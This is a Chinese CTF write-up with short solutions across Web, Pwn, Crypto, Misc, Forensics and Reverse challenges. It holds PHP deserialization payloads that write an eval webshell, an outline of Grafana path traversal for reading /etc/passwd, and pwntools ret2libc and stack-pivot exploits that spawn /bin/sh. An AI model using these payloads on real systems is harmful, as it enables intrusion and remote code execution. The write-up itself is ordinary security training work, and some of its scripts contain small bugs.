本文最后更新于 675 天前,其中的信息可能已经有所发展或是发生改变。
Web
ez_login
题解
- 扫目录得到
robots.txt
得到index.php
- 查看源代码
- 得到源代码
- payload
<?php
class A{
public $hello;
}
class B{
public $file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=1.php";
public $text = "PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4=";
}
$a = new A();
$a->hello = new B();
echo urlencode(serialize($a));
fastjson
题解
- 抓包得知
fastjson
- 探测
fastjson
版本
- getshell
file_upload
题解
- 查看源码,得知路径
- 文件上传抓包,修改
content-type
上传.htaccess
- 上传一句话
history
题解
grafana 8.3.0
版本
- 目录穿越读取
/etc/passwd
得知存在grafana
用户
- 读取
.bash_history
查看历史命令
- 读取flag
history
题解
- 审计代码
- 部署
docker
之后flag
文件可以放到根目录或者放到任意目录,不常见的目录也可以,考察选手命令查找能力,主办方自行决定吧,还有flag
文件注意一定要是只读权限 - 反序列化,写马,
webshell
得到flag
- payload
<?php
class catf1ag1{
public $hzy;
public $arr;
function __construct(){
$this->hzy = new catf1ag2();
$this->arr = array('pputut'=>'pputut');
}
}
class catf1ag2{
public $file ;
public $txt;
function __construct(){
$this->file = 'php://filter/write=convert.base64-decode/resource=haha.php';
$this->txt = '<?php usort(...$_GET);?>';
$this->txt = base64_encode($this->txt);
}
}
print_r(base64_encode(serialize(new catf1ag1())));
Forensics
题解
hint.txt
0宽
得到密码
- 解压附件,得到
vmdk
,浏览器访问记录得到百度网盘链接
- 分析图片,桌面
lbj
Crypto
easyrsa
题解
- 分解p q
e = 0x10001
d= 12344766091434434733173074189627377553017680360356962089159282442350343171988536143126785315325155784049041041740294461592715296364871912847202681353107182427067350160760722505537695351060872358780516757652343767211907987297081728669843916949983336698385141593880433674937737932158161117039734886760063825649623992179585362400642056715249145349214196969590250787495038347519927017407204272334005860911299915001920451629055970214564924913446260348649062607855669069184216149660211811217616624622378241195643396616228441026080441013816066477785035557421235574948446455413760957154157952685181318232685147981777529010093
c= 11665709552346194520404644475693304343544277312139717618599619856028953672850971126750357095315011211770308088484683204061365343120233905810281045824420833988717463919084545209896116273241788366262798828075566212041893949256528106615605492953529332060374278942243879658004499423676775019309335825331748319484916607746676069594715000075912334306124627379144493327297854542488373589404460931325101587726363963663368593838684601095345900109519178235587636259017532403848656471367893974805399463278536349688131608183835495334912159111202418065161491440462011639125641718883550113983387585871212805400726591849356527011578
import sympy.crypto
import gmpy2
ed1=e*d-1
p = 13717871972706962868710917190864395318380380788726354755874864666298971471295805029284299459288616488109296891203921497014120460143184810218680538647923519587681857800257311678203773339140281665350877914208278709865995451845445601706352659259559793431372688075659019308448963678380545045143583181131530985536050017248466517787849589469710557543464507736472919871921624161731489941367341098877699629737954561681567090973105291019827673774265524878759449149318025795211279727145725142986905822605980283305693055910867443209438056707155989397386995229767596578494488661105163347550395788188959239984398971175810806481881
q = 13717871972706962868710917190864395318380380788726354755874864666298971471295805029284299459288616488109296891203921497014120460143184810218680538647923519587681857800257311678203773339140281665350877914208278709865995451845445601706352659259559793431372688075659019308448963678380545045143583181131530985795595293279461317038312156525342333226444714041080914774391026924111341734878166973329678667883399991260937023182084918428904260892570479438200998165409848157352237698909932351569055991701311411905114772230336446025426298062941617060554391251408204430367837650811767515074121113863935630963332155986247795828001
for k in range(pow(2,15),pow(2,16)):
if ed1%k==0:
p=sympy.prevprime(gmpy2.iroot(ed1//k,2)[0])
q=sympy.nextprime(p)
if (p-1)*(q-1)*k==ed1:
break
n=p*q
m=gmpy2.powmod(c,d,n)
import binascii
print(binascii.unhexlify(hex(m)[2:]))
passwd
题解
- 爆破
import hashlib
for i in range(202201010101,202212312359):
hash = hashlib.sha256(str(i).encode('utf-8')).hexdigest()
# print(hash)
if hash == '69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95':
print(i)
break
else:
continue
疑惑
题解
- payload
keys1 = 'welcome_to_nine-ak_match_is_so_easy_!@!'
keys2 = [20,4,24,5,94,12,2,36,26,6,49,11,68,15,14,114,12,10,43,14,9,43,10,27,31,31,22,45,10,48,58,4,18,10,38,31,14,97,92]
for i in range(0,39):
print(chr(ord(keys1[i])^keys2[i]),end='')
Misc
Clock in the opposite direction
题解
- 解压pptx,得到
f14g
,music.wav
- 音乐为周杰伦的反方向的钟,根据梗“听一万遍《反方向的钟》能回到过去吗”,可以得到
10000
的倒数为1/10000
所以压缩包密码为1/10000
- 解压得到文件,将文件16进制进行逆序和奇偶下标互换得到16进制字符串,再将文件头补齐,后缀名改为png得到图片
- 将音乐倒放末尾得到一段钢琴音乐,简谱为1433223
- 将图片进行lsb解密得到flag
ez_misc
题解
- 文件夹解压发现txt文件切文件夹存在密码
- 打开并解压压缩包得到程序
- 将文件
config.Sys
放入16进制分析
- 将16进制数四个字符串一组之后加空格进行中文电码解密
- 讲字符串进行解密得到
flag
Pwn
blindness
题解
- payload
from pwn import *
context.log_level = 'error'
def leak(payload):
sh = remote('127.0.0.1', 9999)
sh.sendline(payload)
data = sh.recvuntil('\n', drop=True)
if data.startswith(b'0x'):
print(p64(int(data, 16)))
sh.close()
i = 1
while 1:
payload = '%{}$p'.format(i)
leak(payload)
i += 1
checkin
题解
- challenge
int __cdecl main(int argc, const char **argv, const char **envp) {
char nptr[32]; // [rsp+0h] [rbp-50h] BYREF
char buf[44]; // [rsp+20h] [rbp-30h] BYREF
size_t nbytes; // [rsp+4Ch] [rbp-4h]
in1t(argc, argv, envp);
puts("name: ");
read(0, buf, 0x10uLL);
buf[16] = 0; puts("Please input size: ");
read(0, nptr, 8uLL);
if ( atoi(nptr) > 32 || nptr[0] == 45 ) {
puts("No!!Hacker");
exit(0);
}
LODWORD(nbytes) = atoi(nptr);
read(0, nptr, (unsigned int)nbytes);
return 0;
}
__sighandler_t in1t() {
FILE *stream; // [rsp+8h] [rbp-8h]
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
welcome();
stream = fopen("flag.txt", "r");
fgets(flag, 64, stream);
return signal(11, sigsegv_handler);
}
void __noreturn sigsegv_handler() {
fprintf(stderr, "%s\n", flag);
fflush(stderr); exit(1);
}
- 分析
程序在刚开始打开了 flag.txt 文件,并把 flag 读取出来
在程序出错的时候会调用 sigsegv_handler 函数,并打印 flag
再看到主函数逻辑输入 size 部分使用了 atoi 函数并检测了首位是否为-
后面又将 size 作为参数向栈上写入数据
这个地方可以利用-1(空格+'-1')来绕过
实现整数溢出来造成栈溢出
然后写大量字节造成程序运行出错即可读出 flag
- payload
from pwn import *
io = process('./checkin')
context.log_level = 'debug'
io.recv()
io.sendline('megrez')
io.recv()
io.sendline(' -1')
io.sendline('A'*0x70)
io.recv()
io.interactive()
ezpwn
题解
from pwn import *
context(arch = 'amd64', os = 'linux')
# io = process('./02_re_migrate')
elf = ELF('./re_migrate')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.31.so')
pop_rdi = 0x401413
ret = 0x40101a
leave_ret = 0x40120d
start = elf.sym['_start']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# ret2start
io.send('useless')
sleep(0.5)
io.sendline('1')
sleep(0.5)
io.sendline('1')
sleep(0.5)
payload = 'A' * 0x10 + 'deadbeef' + p64(start)
io.send(payload)
sleep(0.5)
io.recv()
# ------------------------ leak libc ------------------------------
# WriteROP: leak puts_real and ret2vulnFunction
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start)
io.send(payload)
io.recv()
# leak stack_addr
io.sendline('0')
io.sendline('+')
io.recvuntil('Oops, ')
stack_addr = int(io.recvuntil(' damage', drop=True))
rbp = stack_addr - 0x2A0
success('stack_addr = ' + hex(stack_addr))
success('rbp = ' + hex(rbp))
# stack pivoting
payload = 'A' * 0x10 + p64(rbp - 0x40 - 8) + p64(leave_ret)
io.send(payload)
puts_real = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('puts_real = ' + hex(puts_real))
# leak libc
libc_base = puts_real - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').next()
success('libc_base = ' + hex(libc_base))
# ----------------------- ret2libc --------------------------------
# WriteROP: system('/bin/sh')
payload = p64(pop_rdi) + p64(binsh) + p64(system)
io.send(payload)
# leak stack_addr
io.sendline('0')
io.sendline('+')
io.recvuntil('Oops, ')
stack_addr = int(io.recvuntil(' '))
rbp = stack_addr - 0x3D0
success('stack_addr = ' + hex(stack_addr))
success('rbp = ' + hex(rbp))
# stack pivoting
payload = 'A' * 0x10 + p64(rbp - 0x40 - 8) + p64(leave_ret)
io.send(payload)
io.interactive()
stackoverflow
题解
from pwn import*
context.log_level=True
#p=process('./stack')
p=remote("127.0.0.1",8665)
elf=ELF('stack')
libc=ELF('libc.so.6')
buf=0x6010A0+0X100
print hex(buf)
#puts_plt=elf.plt['puts']
puts_plt=0x400520
puts_got=elf.got['puts']
#read_plt=elf.plt['read']
read_plt=0x400530
main=0x40071A
leve_ret=0x00400718
popret=0x00000000004007a3
payload='A'*0x100+p64(buf)+p64(popret)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil('your name:\n')
p.send(payload)
p.recvuntil('your data:\n')
payload1='a'*0x70+p64(buf)+p64(leve_ret)
#gdb.attach(p,'b *0x40060F')
#raw_input()
p.send(payload1)
#p.recv()
putsadd=u64(p.recvuntil('\n',drop=True).ljust(0x8,'\x00'))
print hex(putsadd)
libc_base = putsadd- libc.sym['puts']
one_gadget = libc_base +0xf03a4
p.recv()
p.send("1")
p.recv()
pay= 0x78*'a' + p64(one_gadget)*4
p.send(pay)
p.interactive()
Reverse
checkin
题解
RC4
解密
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(){
int b[300];
int s[300];
char key[10]="flechao10";//(变)
unsigned char enc[1000];//"flag{8fc51";//"flag{8fc51";
enc[0] = 0x83;
enc[1] = 0x1B;
enc[2] = 0xF2;
enc[3] = 0x4B;
enc[4] = 0xAF;
enc[5] = 1;
enc[6] = 5;
enc[7] = 35;
enc[8] = 57;
enc[9] = 93;
enc[10] = 0xA2;
enc[11] = 0x9B;
enc[12] = 0x92;
enc[13] = 0xF1;
enc[14] = 0x9D;
enc[15] = 0xDD;
enc[16] = 0xDD;
enc[17] = 0x99;
enc[18] = 0xBC;
enc[19] = 0x77;
enc[20] = 0xCB;
enc[21] = 0x19;
enc[22] = 0x72;
enc[23] = 0xE5;
enc[24] = 0x64;
enc[25] = 0x2F;
enc[26] = 0xD6;
enc[27] = 0x3E;
enc[28] = 0xF;
enc[29] = 0x12;
enc[30] = 5;
enc[31] = 108;
enc[32] = 0x90;
enc[33] = 48;
enc[34] = 0xB7;
enc[35] = 2;
enc[36] = 0xC6;
enc[37] = 0xD0;
enc[38] = 0xE8;
enc[39] = '#';
enc[40] = '<';
enc[41] = '#';
/*{flechao10
0xF5, 0x8C, 0x8D, 0xE4, 0x9F, 0xA5, 0x28, 0x65, 0x30, 0xF4,
0xEB, 0xD3, 0x24, 0xA9, 0x91, 0x1A, 0x6F, 0xD4, 0x6A, 0xD7,
0x0B, 0x8D, 0xE8, 0xB8, 0x83, 0x4A, 0x5A, 0x6E, 0xBE, 0xCB,
0xF4, 0x4B, 0x99, 0xD6, 0xE6, 0x54, 0x7A, 0x4F, 0x50, 0x14,
0xE5, 0xEC
};*/ //F5,8C,8D,E4,9F,A5,28,65,30,F4,EB,D3,24,A9,91,1A,6F,D4,6A,D7,B,8D,E8,B8,83,4A,5A,6E,BE,CB,F4,4B,99,D6,E6,54,7A,4F,50,14,E5,EC,
int j,q,n;
for(int i=0;i<256;i++){
b[i]=key[i%9]; //8是密钥的长度 (变)
s[i]=i;
}
for(int i=0;i<256;i++){
j=(j+s[i]+b[i])%256;
q=s[i];
s[i]=s[j];
s[j]=q^0x37;
}
int i=0,t;
j=0;
for(int w=0;w<42;w++){ //32是kkkk的长度 (变)
i=(i+1)%256;
j=(j+s[i])%256;
q=s[i];
s[i]=s[j];
s[j]=q; //交换
t=(s[i]+s[j])%256;
enc[i-1]^=s[t];//s[t]是最后的密钥
}
for(int i=0;i<42;i++)
printf("%c",enc[i]);
}